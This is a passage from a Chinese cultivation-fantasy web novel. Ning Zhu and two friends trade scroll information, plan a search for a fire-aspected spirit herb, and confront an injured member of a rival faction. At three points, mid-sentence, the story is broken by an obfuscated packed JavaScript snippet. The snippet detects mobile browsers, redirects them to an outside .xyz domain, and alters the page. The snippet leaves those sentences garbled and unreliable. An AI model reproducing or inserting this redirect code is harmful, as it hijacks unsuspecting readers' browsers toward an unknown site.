——就这么一两个人的事,居然兴师动众到这种程度? “都说了灵脉很珍稀的。”宁兰之摇头又摇头,“今年还好了,测出来的不是单灵脉就是双灵脉,现在在郁苍谷里的,还有三灵脉和四灵脉呢。” 宁竹:…… 宁竹微妙地同情了下那个不知名姓的四灵脉。 灵属驳杂成这样,跟废了也没什么区别了吧? . “郁苍谷不止有年龄限制,还有修为限制。”宁兰之继续解释,“新觉醒的六岁来过一次之后,就要等到十岁凝源之后才准入,并且十六岁之后、或者修为突破聚星,也不能进入了。” “据我所知的话,宁轲、宁煌都十六岁,修为最少都有聚气六段。今年是他们可以进入郁苍谷的最后一年了,再往后,就要冲刺聚星了。” 宁竹听得晕乎,他决定做个勤学好问的好学生:“宁殊哥今年也十六,怎么没来?” “呵呵……”宁兰之苦笑一声,“他聚星了。” 突如其来的消息一下给宁竹砸得晕眩,他眼都瞪大了几分,些许怀疑自己的耳朵。 散气九段之后聚气凝源,形成固定属性的灵源,这一阶段便称聚气。而聚气阶段达到九段之后,灵力通过锤炼凝结成源星,一星代表一阶,这一突破,便称聚星。 宁竹和宁殊只差一岁,纵然他因灵源破裂修为大损,可如今宁竹还在散气阶段蹉跎时,宁殊已然突破聚星,也是无法改变的客观事实。 “怀疑自己听错了,对吧?”宁长青对此颇有些感同身受,他朝宁竹投过去安抚的目光,“少族长一直是长老们口中百年难遇的天才,你别跟他比,很容易受伤的。” “不,等下……”宁竹捕捉到自己下意识感觉到的不合常理之处,他疑惑道:“按理说,灵脉代替了灵源的作用,为什么你们的修炼速度……” 会这么慢? 宁长青和宁兰之对视一眼,这回开口做解答的是宁长青:“嗯……对,灵脉虽然替代了灵源,修炼上没有凝源这一道坎,但长老们不允许我们太快突破聚气。” 他回忆了下:“二长老说,修者,必须对灵气有所感悟。对外要感受灵气如何流通万物,对内知晓灵气如何被炼化为灵力,如果没有这份感悟,只凭本能去修炼,那就是自断前程,未来绝不可能成为一方强者。” “最快也要十岁过后才允许凝源,所以在那之前,我们可以提前选择有兴趣的分院去旁听,也可以选择去做日常多积攒一些积分。” 宁长青摆着手指回忆道:“虽然有灵脉加成,但我们的修为并不会超过外界太多。” “当年你的出现,其实吓了我们很多人一……嗷!兰之你打我干嘛?”宁长青完全没注意到自己差点把人伤口戳了,猛地挨了宁兰之一下掐,差点没控制住音量嚎了起来。 宁竹唇角弯弯:“没关系,我不介意。”他明白兰之的好意,但那三年前受的伤,他已经不在意了。 宁长青挠了挠头,终于反应过来了:“啊……对、对不起啊宁竹,我不是故意的。” “没事。”他转眼看向宁长青,“你继续说吧。” 这回宁长青学乖了,他看向宁兰之,得到后者确定的眼神才继续开口:“嗯……你当时,十岁凝源,外族学堂的老师们经常拿你来和外族学子对比,而在内族,你也是凭自己一人追上了我们这些幸运儿。” “当时急眼的人不少,一边恐慌一边又对你不屑贬低你的也有,反正……当时很多人突然就急着突破聚气了,生怕被一个草根修炼者追上。” 宁长青没再继续说下去,毕竟再后来的事,大家也都知道了。 宁竹作为流落在外的私生子被带回宁家,而后觉醒与所修元素冲突的灵脉,再然后,他曾经付出的努力尽数被血脉带来的灵脉抹除。 天才就此泯然于众,而他们再提到宁竹时,也不再说“那个草根天才”,而是——“那个野种”。 被当面提及伤口的人陷入深思,他垂着头,微长的碎发挡住了他的眉眼,投下一片阴影,因而也看不清了他眼底的色彩。 宁长青纠结地扯了扯宁兰之的衣摆,他有些担心,是不是自己说的太不委婉了。 宁兰之也纠结,一时搞不清是否要安抚一下宁竹。 然后面前的人抬起头来,眼底是两人全然意想不到的……困惑。 “按你的说法,宁家似乎更希望你们发展副职?……我没想明白,为什么?” 宁长青松了一口气,宁竹困惑的地方,同样也是他不解的点。 “这也是我奇怪的地方。”宁长青说,“一般来说,宗族都恨不得自家弟子把所有心思都放在修炼上,以打造出一个顶尖强者为荣。” “而宁家……似乎并不想我们只有修炼,更多是想要我们能在副职上得到提升……好像修为只是副职的顺带。” 毕竟修为的上限也是副职的上限水平。 . 普天之下,寻常宗族都会对弟子们的能力水平进行划分,能力一般的便划入中等,以为宗族创造营收为目的进行培养。 自然,这其选择之广,从阵师药师到符文师锻造师,可谓应有尽有。 但无论何如,总会留下一小拨修炼最顶尖的,倾全宗之力培养为独当一面的顶尖强者。 按理说,在宁家内部,有着灵脉带来的修炼优势的内族弟子,自然是值得培养成强者的好苗子,可宁家却反其道行之,引导着这些内族弟子发展到各方职业上。 ……确实古怪。 平时活在内族中,已然习惯了这种环境的宁兰之原本不疑有他,但此刻被人点了出来,她才惊觉自己居然被这种环境麻痹得毫无察觉。 她悄悄抹去额角的冷汗,又看向宁竹。 “不过,副职也能帮助我们更好地生存,毕竟无论医药师、灵植师还是炼丹师,都是宁家的顶尖招牌,只要能力足够强悍,出门在外也是受人尊敬的职业,这样看来,也不算奇怪吧?” “也是。”宁竹点头,不在这件事上过多纠结了。 . “好了,说回来。”宁兰之清了清嗓子:“今年郁苍谷内十五人,现在我们三人,宁轲那边三个淘汰了一个,宁煌五人,还有四个不站队的。” 宁兰之思索了下:“嗯……希望另外三个被淘汰的不全是不站队的,不然宁煌他们五人,有点棘手。” 宁竹愣了下,他突然想起来一进来谷中就被他淘汰了的倒霉蛋。 宁长青显然也是想了起来,他望向宁竹。 说着话的宁兰之敏锐地觉察到了氛围不对,她停了下来,也没问,只同样看着宁竹。 宁竹摸了摸鼻尖,从手环中翻出一卷差点被他自己遗忘了的卷轴:“宁瑞的。” 宁兰之眉头一挑:“你干的?” “侥幸。” “什么时候?” “……刚进来没多久。” 这下,宁兰之终于是把前先后所有事都给串联起来了,她一时失语,没忍住先捶了宁长青一下:“你知道的吧?就什么都没跟我说?害我当时以为你迟到是不是出事了!” “哎、哎……!轻点儿,”宁长青假意往边上躲了一躲,“我这不是忘了嘛……” “所以,现在宁煌那边最多也就四人。”宁竹说道。 宁兰之好气又好笑地放过了宁长青,她补充:“还有两个被淘汰的,不知道属于哪一边。” 宁竹回忆了下和宁瑞交手时他所说的话,一些疑点很快也被串联起来:“说起来,当时宁瑞说宁煌没有发射信号,所以他没跟宁煌在一起,我那会儿还很奇怪,现在看来,宁煌怕是一来就出现在灵阵附近。” 宁兰之顿了一下,瞬息之间便跟上了他的思路:“你是说,他发现了灵阵,为了不引发骚动,或者藏有私心想独占背后的奖励,他选择了不叫人前来协助他破阵,而是自己埋伏在附近,等待别人发现灵阵后替他先探险,最后再坐收渔翁利。” “对。现在灵阵已破,奖励到手,我猜宁煌应该叫人了。” 两人思路清晰,信息交换得飞快,一句接一句的,全然没有能插话气口。 宁长青一开始还听得懂,听到后面已然迷糊了,他默默地把自己的卷轴拿出来。 他的卷轴上还有着宁轲那边三人的信息,宁竹见状,便把自己的和宁瑞的一并递出,宁兰之同样拿出自己的来。 空中,四张卷轴叠在一起,金光流转,信息很快被记录下完成交换。 “等下。”宁竹突然问道,“当时宁瑞说,所有人的卷轴拼在一起,就能得到二阶灵植的信息,现在还有两个不知道有没有留下卷轴信息的被淘汰了,这些信息是拿不全了?” 宁兰之听完笑了一声:“你听他扯。卷轴信息收集过一半就够了。” 宁竹眉梢轻挑。 今年十五人,他们这一下就拿到了七个人的信息,已然近半,进度喜人。 “虽然清单上草药很多,但涉及灵植部分,除了少量有别,基本是一样的。” 宁兰之说着,又朝宁长青递过去一个询问的眼神,后者很是肯定地用力点头。 “所以,我们如果找灵植,碰上宁轲宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480245|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煌的概率会变大,但如果不去找,以灵植和普通草药的积分差距,我们只靠普通草药是凑不上来的。” “郁苍谷很大。”宁兰之比划了下,“十一人散在郁苍谷里,没有定位手段和同样目的地的情况下,其实也未必刚好能碰得上。” “宁竹,你需要白叶参这件事,宁轲知道吗?” 宁竹思索了下:“理论上是不知道的,我没有说过。何况我摘了异变白叶参,就算我的卷轴上有写白叶参,用这株异变的也可以算我完成。” “那好,天亮之后,赶回我们一开始出发的那个山洞,宁轲大概不会想到我们会回来。之后,以山洞为起点,找附近火灵气浓郁的地方,如何?” “不分头行动吗?”宁长青问。 “分开走遇险了也没办法告诉其他人。”宁兰之道,“我们现在不以获取积分为第一目标,存活到时间结束才是重中之重。” 宁竹看了宁兰之一眼。 这个姑娘头脑极其清晰,很清楚什么时间该扮演什么样的角色,身上更是有着寻常人不具有的果决。 在宁轲这几个外人面前时,宁兰之自甘退居次位,丝毫没有和宁长青争夺话语权的意思;而在宁竹这个已然被归进自己人范围里的人面前,她也不介意展露自己主掌权利的一面,宁长青对此更是毫无异议。 但宁竹想不明白,于是他提醒:“你们不用蹚我这趟浑水。” “说什么呢。”宁兰之笑了起来,“你现在是我们自己人,哪有让你一个人去冒险的事?” “就是就是,”宁长青帮腔,“你不像宁轲一样背叛我们,帮了我之后,还愿意相信我们把灵植展示给我们看。你都这么信我们了,我们当然也会帮你,这不是很正常的嘛!” 宁竹还想说什么,但看着面前两人明亮的眼,突然便也觉得没有再说的必要了。他低声笑了。 这是他在宁家交到的,第二个和第三个朋友。 . 树洞内暖光织成被毯,树洞外墨色冻结时间。 一夜很快过去,昼夜翻转的光亮无差别地灼烧所有人的双眼。 一小截树枝“咔嚓”一声被人折断,烈火附着其上,诡异的犹如水沸腾开来的“咕嘟”声中,枝叶被炼出内里的汁水在空中翻滚,飘出一阵异香。 红发少年轻轻一弹指,那不大的水珠一分为三,落在自己和身后两人眼上。 凉意过后,两人才睁开眼,飘动的红发夺人眼球,有人顿了一会儿,才想起自己想说什么,他低声喊:“煌老大……” 宁煌没回头:“另外两人联系不上吗?” 那人再度闭眼,片刻之后,他还是纠结地摇头:“感应不到。” “噢。”宁煌轻描淡写,“那就当他们被淘汰了吧。” 他身后那两人对视一眼,眼底充斥着难以言喻的苦涩和……几分侥幸。 这个淘汰,是指被淘汰出郁苍谷,还是指被宁煌淘汰出核心圈……哈,谁知道呢? 另一人上前一步,手一翻,展开来的赫然是一卷地图。 “煌老大,传送阵都按你说的布置好了。” 她指着地图上所做好的标记,宁煌垂眼看了一下,他浅浅微笑:“做得很好。” 女生松了一口气,她犹豫了片刻,还是问:“煌老大,我们接下来去哪?” “火灵气浓郁的地方。”宁煌随意道。 真像仿佛某种触发式的阵法。布置了诸多传送阵的灵阵师暗暗腹诽。得先触碰才有反应,还反应得相当死板,虽是问什么答什么,但也没有解答的意思。 她试探性地继续询问:“煌老大,今年的郁苍谷,好像很奇怪?” “对对,”身后那个一直不敢搭话的男生接过话头,“今年的水灵气少了很多。” 宁煌平淡地反问:“这样吗?” 语气平静得完全像是没在意对方说了什么,只敷衍地随便应声。 男生瞬间息声。 他是三灵脉,其中有着一道水灵脉,自然对天地间的水灵气更敏感一些,而宁煌只有火灵脉,他感受不到水灵气的稀少,不算什么奇怪的事。 ……当然也有可能只是他并不在意罢了。 “不是水灵气的事。”灵阵师看了他一眼,又思索了下一路布置传送阵的感受,“或者说,不止水灵气。” 她认真道:“灵气……灵气很躁动。非常活跃,到了一个……几乎可以说不稳定的程度。” 作为调动天地灵气构建灵阵的灵阵师,她对灵气的感受和把握自然更精确。听到她的判断,就连看起来什么也不在乎的宁煌都看了过来:“有影响吗?” “有,灵植的生长容易遭到影响。” 宁煌闻言,脑中第一个浮现的,是那株被人夺走的异变白叶参。 “无碍。”他低笑一声,“升学考核在即,凡不影响修炼,便称不上大碍。” 原来打的是这种主意。灵阵师点了点头,又对着地图研究一阵,随即圈出三大块区域:“这三处火灵气比较活跃,煌老大,你看去哪?” 宁煌随手一指,灵阵师便拿出纂刻了传送阵的一片玉牌。 她心疼地摩挲着那块玉牌,在启动前,还是没忍住对着宁煌低声痛诉:“……煌老大,传送阵真的很贵的。” “呵,放心。”宁煌唇角弯弯,似笑非笑,“用你多少阵法,换我多少丹药,我自然不会赖账。” 灵阵师这才点了点头,雕刻着精妙阵法的玉牌灌入灵力随即破碎,阵法展开,一阵清风恰好吹起,被阵法笼罩的三人身影便消散于风。 . 宁轲咳呛出一口血,他指尖水灵力流淌,将自己包裹进水茧之中。 小治愈术实在愈合不了这么大型的创口,而此刻他所剩的灵力也不足以支持他使用更大型的疗愈术。 宁巫见状拿出几株富含水灵力、用于止血剂的原材药草,递给了宁轲。 “混蛋宁煌……咳!”他脸色极其难看,从宁巫手里接过时,他的手指还有些控制不住地发抖,“……疯狗!” “别动怒了,老大。”宁巫低声劝他。 宁巫医术不精,此刻宁轲重伤,她所掌握的医药学半点用不上。宁轲是医药阁大长老的亲传弟子,被宁煌重伤至此虽然说出是有些挂不住脸,但还能挺住进行治疗,不至于自行捏碎木牌出局求医,也已经算是很了不起了。 “宁鲤被淘汰了?” “应该是。联系不上他。” “废物。”宁轲低骂一声。 宁巫叹了口气:“先养伤吧,老大,我在这守着。” 宁轲转过视线,看向宁巫:“你的积分不要了?” “老大,这个时候了,积分重要吗?”宁巫笑了笑,“今年进不了医药阁,我明年还能再争取,可我就你一个老大了,你别留后遗症。” 宁轲顿了顿,半晌,他道:“我说了,今年保你进医药阁,就一定保你能进。” “嗯,我信你。” 宁轲闭上眼,深深地吸了一口气:“等我一会儿……等我治好伤,我们去找草药。……以你那份清单为主。” “我守着。” 他回忆了下:“你的草药清单……主火?” 宁巫轻声回答:“嗯,对。” “好。”宁轲低低声说,“之后,我们以火灵气为主的方向走。” 17.僵局 结果兜了一圈,又回到这里了啊。 宁竹在山洞外站立,抬头看去,那条被他切断的长藤还在半空中垂着。看痕迹,昨天一整天都没有人来过这里。 该说是郁苍谷实在太大还是他太多心?宁竹暗自摇了摇头。 “看什么呢?” 身后有人拍了他一下,接着一串红得妖艳的果子闯入他的视线中:“喏,你的。小心点拿,汁水有毒。” 宁竹唇角勾起:“没什么。” 他接过那串果子,随手便放进手环中。 “哎哎你小心点啊,”宁长青慌了一下,连忙扒拉开宁竹的手,见他掌心覆着一层木灵力,这才松口气,“那汁水有蚀骨之毒,沾到了最起码疼半个时辰,你有点敬畏心好不好。” 宁竹笑着应:“好,好。” 虽然都是些基础知识,但和宁轲的故意卖弄不同,宁长青的提醒不带半点假意,况且,他也的确没有告诉过宁长青自己知道这些。 宁竹认真听了他说的每一句,也当巩固学识。 面前的宁长青肉眼可见的心情极好,离开了让他不适的人后,显然是放飞了不少,一开始的那点伪装出来的拘谨全然不见影踪。 “这附近草药还挺多的,”宁长青指了指附近的林子,眼里亮光闪闪,“之前只顾着赴约了,都没想起来找找,宁竹,你跟我一起去不?” 宁竹倒确实没什么事可做,只是后面还有个宁兰之忙得一句话都没搭上,他俩就这么走开了,好像也说不太过去。 他侧过身,看了下宁兰之:“我过去兰之那边,看下有没有帮得上忙的。” 宁兰之一路没说话,倒是一直听着,她闻言头也不抬,视线一瞬不瞬地盯着手里的罗盘,只摆了摆手,终于开了口:“你们去吧,宁竹你看着点长青就行。” 简单一句话给宁长青打成了撒手没,偏偏被点名的当事人还煞有其事地点头认领:“听见没,看着我点。” 宁竹只得忍着笑意跟上去。 离得远一些,已然看不见宁兰之的身影之后,宁竹才喊住了身前连走带蹦的宁长青:“长青,兰之那边真不用帮忙吗?” 他们今天走得不算很赶,一路走走停停,但宁兰之一直没闲着,拿着罗盘到处探测,时不时在卷轴上记录着什么,看模样忙得很。 宁竹有些好奇,但也不会为此去打扰她。 但打扰此刻心情好得离奇的宁长青就不是问题了。 宁长青摆手:“真不用,她是在检测灵气波动。” 大概是想到了宁竹的一无所知,他顿了顿,又继续解释下去了:“一般来说,天地间的灵气五行占比是差不多的,很稳定,但郁苍谷很奇怪,这里的灵气虽然充沛,但很散,几乎无法相融,所以,郁苍谷每年都会产生变化,这也导致了草药的生长状态难以捉摸。” 他这一说,宁竹顿时感觉到了郁苍谷的怪异之处。 他昨日修炼时也有感觉到,当时他只当是郁苍谷内植物太多,现在想想,木灵气确实浓郁得有些超常。 “你们的作业是找草药,我和兰之属灵植院,我们还有额外的功课。” 宁长青撇嘴,就差把不服气写在脸上了:“我们还要给长老交一份灵气变化记录,说是什么我们灵植院对有天然优势所以要特殊对待,可宁煌宁轲他们也学草药知识啊?他们就不会用上?” 宁竹沉默片刻:“你没抗议?” “抗议了。”宁长青有气无力地翻了个白眼,“然后长老说你少管他们,多管自己。哦,长老还说,我再多应一句就给我加功课。” “……噗。” . 他们一边说着,手上也没闲着,又是刨土又是上树的,没一会儿就找到了十来种不同的药草,尽数堆在地上。 宁长青说话间又摘下一株长得形似杂草的药草,紧接着他整个人都顿住了。宁竹奇怪地看过去,接着目睹宁长青看着自己手里随风摇摆的草叶,又看了看脚边十几株形态各异的草药,又看了看不远处那隐约可见的山洞的全过程。 宁竹差点没忍住笑出声。 前天刚到这里的时候,宁长青光顾着和宁轲争,争到最后还没争赢,第二天他听了安排跑到老远的地方找,全然没留意这洞穴附近的植株。 不知何时找过来的宁兰之就显得不客气多了,她看着宁长青心虚的目光,微笑赞许:“这块地挺不错哈。” 宁长青尬笑着往边上挪了几步:“……哈哈是啊真不错啊……” 宁竹觉得好笑。 宁竹真的笑出声了。 宁长青“嗷”的一声扑过去一把拽住宁竹的手,嘴上说着“笑什么呢你不许笑”一边往宁竹身后缩了缩,也给宁兰之看得无语笑了。 “走了,回去吧。”她指了指身后的山洞,“快到昼夜翻转的时间段了。” . 三人刚一进山洞,天色便骤然翻转,所幸宁兰之在山洞里放了照明珠,暖光在同一时刻铺满了整个山洞,不至于像先前两晚那样冷不丁被吓一跳。 宁兰之先坐下,旋即把自己的卷轴打开了露出被她写得满是痕迹的背面,放在三人中间,她指向中间位置那个手绘的地图,宁竹大概比对了下,和宁殊给他的地图差不多。 “这块,我们现在的位置。”宁兰之点了点最中心的位置,“这个山洞的位置挺奇妙的,和附近三处火灵气充沛的区域连接起来,距离竟然都差不多。” 宁竹思索了下,指向其中一处:“这块可以排除了,我被传送到位置就在这附近,符合白叶参生长要素的区域,基本被光幕笼罩了。” “那就还剩两个区域。”宁兰之点点头,飞快地在宁竹所指的位置上打了个叉,“但……我有个坏消息要告诉你。” 宁竹看了过去。 “据我所知,宁煌规划要在今年突破聚星,像郁苍谷这样修炼事半功倍的地方,他不可能放过。这两片火灵气浓郁的区域,你很有可能会遇到他。” 她看着地图,苦笑一声:“现在只剩下二选一了,那就是一半一半的几率。” 宁竹皱起眉头。如果宁兰之的消息来源可靠,那这对宁竹而言,确实是坏消息了。 “可是,他不拿名次吗?”宁长青奇怪,“前三名任选一株草药甚至包括灵植哎,他们炼丹堂的现在连灵植都看不上了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14503502|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁兰之侧过身,用力地拍了拍他的肩,力度大得宁长青面色扭曲:“长青,有种方法呢,叫有钱能使鬼推磨。” 宁竹秒懂:“他雇人帮他找药草?” “对。”宁兰之叹气,“一颗成品补气丹,在积分阁兑换,要三千分,但如果只要其原材,一半足以。升学考核在即,你猜,宁煌能用这中间差价雇到什么样的人?” “……能炼药了不起啊!”宁长青咬牙切齿。 都是分堂,怎么就他们灵植院的不仅没有灰色收益,还要额外加功课的?! “炼丹堂不一直都这样吗?”宁兰之幽幽道,“利益为上,既要又要。” 宁竹沉思片刻,他问:“有没有什么办法能定位宁煌?” “没有。”宁兰之回答得很快,她倒是很清楚宁竹的意图,“我能找到长青,是因为长青在我的罗盘上留过定位,但宁煌可没有。” 宁竹没有气馁,他继续提出可能性:“如果真如你所说,他要修炼,那修炼引发的灵气波动能不能捕捉到?” 宁兰之实诚地摇头:“不行,我的罗盘只能捕捉足够大型的灵气波动,要精细到那种程度的,怕是只有灵阵师、而且是修为高于宁煌的灵阵师能做到。” 僵局。 这回连宁竹都忍不住眉头紧锁。 难不成真要放弃直接在谷内炼成化灵散这条路? 是,他还有别的路,还能试着拿积分拿到前三,还能去参与任务攒积分,甚至等下一年没有太过强大的竞争对手—— 可是,他真的还等得起那么久的蹉跎吗? 似乎是感受到了宁竹的凝重,宁长青拍了他一下,把他从深思中唤回了神。 “宁竹,没关系的。”宁长青认真地看着他,“大不了我去给你换。” 宁兰之没有说话。 宁竹却突然笑了:“一半的几率而已,我想赌。” 宁兰之看过来的眼里露出了几分意外。宁长青还想劝,宁竹及时止住了他的话头:“如果没有这株异变灵植,我会考虑其他更稳妥的方案,但既然已经有了兜底方案,我为什么不去赌会更好?” “何况……”他低笑一声,“我也算倒过一次大霉了,总不至于一直倒霉吧?” 宁兰之看向宁竹的眼里逐渐露出几分欣赏之意。 她刚要说话,外头忽然传来一阵剧烈的声响,宁兰之眼神一变,那枚悬浮空中的照明珠瞬间被她收入手环,骇人的黑暗将三人重新拥入怀中,而外头那激烈的声响越来越近,以至于三人都清晰听见了。 那是在打斗的声音。 这个节点,会是谁? 三人悄然催动灵力,只一个意念便能迸发。他们紧紧地盯着洞口的方向,即便此刻他们所视只有一片黑暗。 然而片刻之后—— “嘭!” 什么东西重重摔在了外头。 宁竹甚至听见了……藤蔓断裂的声音。 “嘶、嘶——他大爷的哪个缺德玩意……嘶!好痛好痛……”有人痛苦地哀嚎着,看样子摔得很是不轻。 但—— 宁竹无语凝噎。 怎么这也行? 18.求助 宁竹本来已经对那条没收回的藤蔓不抱希望了,谁曾想竟有人半夜被追杀到慌不择路登上山崖,看到藤蔓还以为绝境逢生,结果就这么滑到半路直接没了藤蔓摔下来,连追杀者动手割断藤蔓这一步都省了。 坦白说,宁竹一直以为这种戏剧性的一幕,只会发生在野外弱小的魔兽身上。 外头那人摔得不轻,但好在那追杀者也明显没有跟下来的意图,周遭又回归了平静,有一会儿了,他身边的照明珠才悠悠飘过来。 暖光照亮了外头摔得歪七扭八的身影,一点余光也照到洞里,令得洞里三人面前看清了彼此脸上的神情。 宁竹打了个出去看看的手势,宁兰之犹豫片刻,她按住了宁竹,旋即示意自己先去。 宁竹身怀异宝,本就被宁煌宁轲追杀针对了,此刻无论外边来者是哪一方的人,都不要轻易露面为好。 她没说话,宁竹倒是很快从她眼睛里读懂了她的意思,宁竹点头示意了解,宁兰之便收敛了声息,缓缓向着洞口走去。 宁长青见状同样起身,似乎是担心宁兰之一个人的安全,他轻轻碰了一下宁竹的手示意,立马跟了上去。 宁竹依旧坐在地上,他凝视着那两道逐渐远去、消失在拐角处的身影。 . 山洞外。 躺在地上的少男挣扎着站起,他的确摔得不轻,这一下给他手都摔折了,钻心的疼痛令得他脸色煞白,涔涔冷汗在身侧的暖光映照下格外显眼。 实际上,这样的伤在以医术出名的宁家,实在算不上什么大事,哪怕是断了手脚,只要断肢还没坏死,都有能力接上去——当然能不能像以前一般使用自如就不太好说了。 但现在身处这硕大又寂静的郁苍谷内,别说得到治疗了,能不能遇上一个活人都不太好说。 “操他大爷的宁煌……” 少男面色扭曲,他用另一只还正常的手摸索着掏出来木牌。 那看似脆弱的木牌受了如此强烈的撞击,连一道裂痕都没出现。他在光下将那块木牌翻来覆去的看,一开始的扭曲的神情到此刻满只剩下了纠结。 这种级别的伤,拖下去就算能治好也会留后遗症,可若是现在就捏碎木牌,不仅失去了一个大好的台阶,宁煌那边的小团伙,估计也是别想呆了。 他又拿出另一个小玉牌,上头刻着的传送阵在玉牌上流动着彩光。这一个传送阵,是灵阵师特意交代了,只有遇到宁竹了才能捏碎的…… 少男一咬牙关,心底从又狠狠骂了宁煌两三句。 要不是宁煌驱使他过来替他找草药,他也不会来到这边山林里,不会被另外两个抱团的家伙认为有机可乘,更不会被追杀到误闯山崖边上,摔成现在这副模样。 越是想,恨意越是冲天,一时间连手上的痛感都被恨意短暂地屏蔽了。 “那个,你需要帮忙吗?” 谁?他猛地回神,一抬眼,面前站着的灵植院的宁长青。 他愣了一下,宁长青见状又指了指他那明显不正常的手臂,又问了一句:“你的手?” 对方这一提,他顿时又感觉自己的手剧烈地疼了起来,险些没站稳身形。他犹豫了一下,把自己是宁煌那边的人这件事掩藏起来,只点点头:“长青……帮帮我。” 他是想藏,可惜有人一眼识破。 宁长青刚朝他踏出一步,便有人的手按住了他,少男刚亮起几分神采的眸子顿时凝滞,他慌忙循着那只手望去,手的主人露出一个浅浅的笑,眼底是同表情不一致的冷冽。 “帮他干嘛?长青,我记得他,”向来和宁长青形影不离的宁兰之唇角含笑,吐出来的话语却是让他如坠冰窟,“他是宁煌的人。” 少男顿时感觉浑身发冷,他张了张口,却无力反驳。 宁长青如梦初醒般“啊”了一声,脸上流露出几分夹着厌恶的惋惜:“那可惜了。”他摇摇头,往回退了一步:“既然你是宁煌的人,那就自求多福吧!” 说罢,两人都做出了转身要离去的姿态,少男浑身颤抖,他着急忙慌地喊:“等下!” 宁长青转过头看了他。 “等、等下……”喊什么呢?少男在宁长青看过来的视线里恍惚,在绝望中遇到的一点希望,他几乎是遵从了本能地求援,却不知道自己有什么能让对方改变主意的筹码。 他茫然地望着宁长青,宁兰之却在此刻火上浇油:“走了,长青,跟他们没什么好说的。” “别走!我、我把我的卷轴给你们!”他脑中嗡的一下空白一片,回过神时,他才惊觉自己说了什么。 宁长青转过身。他同宁兰之说了什么,少女冰冷的面色上闪过一丝犹疑,片刻,她开口:“抛过来。” “不……你们,先帮我……不让我怎么确定,你们不会拿了就跑!” 少男疼得恍惚,他还试图和宁兰之拉扯谈条件,少女却忽的笑了:“搞清楚,是你在求我们。”她微微扬起下巴,眼中流露出了几分嘲讽之意:“既然你还有力气跟我们谈先后,那看来你也算不得有大碍,走吧,长青。” 宁长青“嗯”了一声,听话地跟在宁兰之后头。 少男眼前一黑,他慌忙取出卷轴,恼羞成怒一般朝着两人的后背狠狠砸去—— “啪!” 宁长青手一伸,那卷轴便落入他的掌心之中,宁长青脸上喜色浮现,又被宁兰之上前一步挡住了他的脸庞。 “早拿过来不就完了,”宁兰之摇头,像是在感叹对方的不识相,她置于身后的手飞快地拍了一下宁长青,“多疼这么一会,有意思吗?” 他还想骂,可他能给的筹码已然落在对方手上,此刻再叫唤,只会被对方借题发挥。 少男咬了咬牙,不服气地选择了闭嘴。 宁兰之上前,握住了他扭曲的手臂,召唤而出的长藤缠住了他的手,钻心的疼痛又一次占据了他的整个大脑,又死命咬着牙关,不肯让痛呼闯出喉咙。 温润的水灵力贴着长藤覆盖包裹住扭曲的手臂,治愈术随着她念诵出的咒语缓慢起效。 “好了,等着吧。” 宁兰之说完便退了开来,治愈骨折而已,她当然有更快速的治愈术能用,但眼下拖着他是更有利的做法,宁兰之自然不会给自己添麻烦。 对方一言不发地盯着二人离去的背影,手缓缓探向那枚刻着传送阵的白玉牌。 ——没有找到宁竹,但宁长青和宁兰之这两个灵植院的,也算值得被解决的麻烦吧? 他手上灵力缓缓流动,包裹住了整片玉牌。 “唔!” 他手上骤然一疼,痛呼无法遏制地从口中溢出,那枚玉牌就这样“当啷”一下砸在地上,滑出去很长一段距离。 完了。 少男脑中空白一片,那一声脆响尾音还没散去,长藤挥舞而下,速度之快在空中破出一声音爆。 仓促间他只来得及抬手防在身前,这一抬手,他被腕上那一闪而过的银光吸引了注意,旋即长鞭击中他的手臂,巨大的冲击力几乎令他整个人腾空而起。 宁长青面色冰冷,他双手按地,灵力灌入地面,只一瞬,长满尖利棱刺的长藤簌簌破地而出,如蛇一般追着空中那道身影撕咬。 宁兰之一蹬地面,她手上双色灵力凝成一柄长刀,她精确地踩着那长藤上没有棱刺的区域,随着长藤的舞动穿行,瞬息之间追到那人身前。 她面色同样冰寒,本是充满生机的水木灵力此刻化作死神催命的低吟,她抬手—— “不要!” 少男绝望地嘶喊,拼尽最后一丝灵力一拍长藤,他侧飞出去,狼狈地摔在地上滚了几圈,还没能愈合的手臂伤上加伤,肉眼可见地肿胀起来。 他趴伏在地上,脱力得已经爬不起来了。他疼得眼冒金光,眼睛几度失焦,可就在此刻他的视线里出现了一双脚。 少男警惕地抬头望去,昏暗中,对方朝他一笑,抬起的手上银芒闪烁。 银针。 刺中他手腕的也是银针。 少男几欲呕血,他瞪大了眼想看清对方的脸,可周遭实在太暗了,他全然看不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529361|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 